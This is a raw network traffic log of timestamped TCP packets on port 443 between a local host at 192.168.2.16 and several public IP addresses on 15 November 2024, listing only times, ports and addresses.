Nov 15, 2024 11:24:41.881552935 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.881560087 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.881624937 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.881994963 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.882002115 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.906727076 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.906816959 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.906832933 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.906871080 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.907051086 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.907088995 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.907095909 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.907126904 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.910186052 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.910192966 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.910244942 CET	443	49785	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.910258055 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.910264969 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.910315990 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.910377026 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.910377026 CET	49785	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.911343098 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.911376953 CET	443	49786	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.911420107 CET	49786	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.912058115 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.912082911 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.912142038 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.912316084 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.912338018 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.912379026 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.912556887 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:41.912565947 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:41.912786007 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:41.912792921 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:41.979011059 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.979043961 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.979154110 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:41.979182959 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:41.979227066 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.026385069 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.026417971 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.026510954 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.026530027 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.026571035 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.098978996 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.099049091 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.099104881 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.099174023 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.099214077 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.099235058 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.405639887 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.405673027 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.405721903 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.405750990 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.405785084 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.405803919 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.405831099 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.410171032 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.410216093 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.410250902 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.410264969 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.410295963 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.410330057 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.414233923 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.414284945 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.414344072 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.414361000 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.414385080 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.414424896 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.419735909 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.419780016 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.419815063 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.419833899 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.419862032 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.419888020 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.490067959 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.490130901 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.490184069 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.490248919 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.490287066 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.490309954 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.565979958 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.566045046 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.566107988 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.566139936 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.566159964 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.566195011 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.612359047 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.612392902 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.612441063 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.612467051 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.612483978 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.612507105 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.683022022 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.683058977 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.683124065 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.683141947 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.683162928 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.683180094 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.729927063 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.729954958 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.730003119 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.730019093 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.730037928 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.730058908 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.735094070 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.735172987 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.736200094 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.736248016 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.739273071 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.739283085 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.739650011 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.739696026 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.740283012 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.740350962 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.740412951 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.745300055 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.745304108 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.745706081 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.745757103 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.746243954 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.751993895 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.752067089 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.753079891 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.753130913 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.755713940 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.755722046 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.756047964 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.756095886 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.756544113 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:42.771219015 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.771289110 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.773902893 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.773909092 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.774229050 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.774275064 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.774774075 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:42.787322998 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.787332058 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.799323082 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:42.801167965 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.801192999 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.801259041 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.801312923 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.801347017 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.801372051 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.815336943 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:42.847721100 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.847754002 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.847819090 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.847841024 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.847871065 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.847919941 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.918521881 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.918551922 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.918598890 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.918617964 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.918643951 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.918719053 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.965029955 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.965054989 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.965116024 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.965143919 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:42.965163946 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:42.965192080 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.035471916 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.035502911 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.035562992 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.035586119 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.035617113 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.035649061 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.081264019 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.081291914 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.081367970 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.081382990 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.081414938 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.081434011 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.100840092 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.100925922 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.100958109 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.100999117 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.101102114 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.101197004 CET	443	49790	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.101250887 CET	49790	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.101804018 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.101859093 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.101933956 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.102200985 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.102219105 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.121675968 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.121732950 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.121747017 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.121783018 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.121876955 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.121910095 CET	443	49792	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.121957064 CET	49792	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.122519970 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.122545958 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.122601986 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.122889996 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.122898102 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.151864052 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.151930094 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.151932955 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.151971102 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.151998997 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.152020931 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.152034998 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.152079105 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.152163982 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.152196884 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.152239084 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.152271986 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.152292967 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.152314901 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.152872086 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.153044939 CET	443	49789	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.153101921 CET	49789	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.153469086 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.153496981 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.153561115 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.153851032 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.153866053 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.193435907 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.193501949 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.193547964 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.193593025 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.193625927 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.193665028 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.201625109 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.201673985 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.201714039 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.201733112 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.201761961 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.201801062 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.271903992 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.271933079 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.271981955 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.271991968 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.272018909 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.272041082 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.296911001 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.296986103 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.297005892 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.297043085 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.297135115 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.297178030 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.297183037 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.297216892 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.298079014 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.298125029 CET	443	49791	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.298176050 CET	49791	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.298825979 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.298878908 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.298938036 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.299773932 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:43.299786091 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:43.316920996 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.316945076 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.316998005 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.317012072 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.317044020 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.317061901 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.387598991 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.387631893 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.387693882 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.387716055 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.387753963 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.387775898 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.428535938 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.428607941 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.428662062 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.428726912 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.428765059 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.428786039 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.478239059 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.478269100 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.478322029 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.478333950 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.478368044 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.478388071 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.507644892 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.507668972 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.507723093 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.507735968 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.507774115 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.507796049 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.551867008 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.551928997 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.551983118 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.552048922 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.552088976 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.552114010 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.621673107 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.621741056 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.621777058 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.621804953 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.621829033 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.621855974 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.662333965 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.662374020 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.662417889 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.662446976 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.662467957 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.662492990 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.669049978 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.669094086 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.669133902 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.669167995 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.669187069 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.669213057 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.740036964 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.740102053 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.740128994 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.740164995 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.740186930 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.740186930 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.740216017 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.779686928 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.779733896 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.779766083 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.779798985 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.779819012 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.779846907 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.787930965 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.787974119 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.788002968 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.788027048 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.788043976 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.788070917 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.857211113 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.857273102 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.857319117 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.857348919 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.857369900 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.857391119 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.896863937 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.896895885 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.896960974 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.896995068 CET	443	49781	13.107.246.45	192.168.2.16
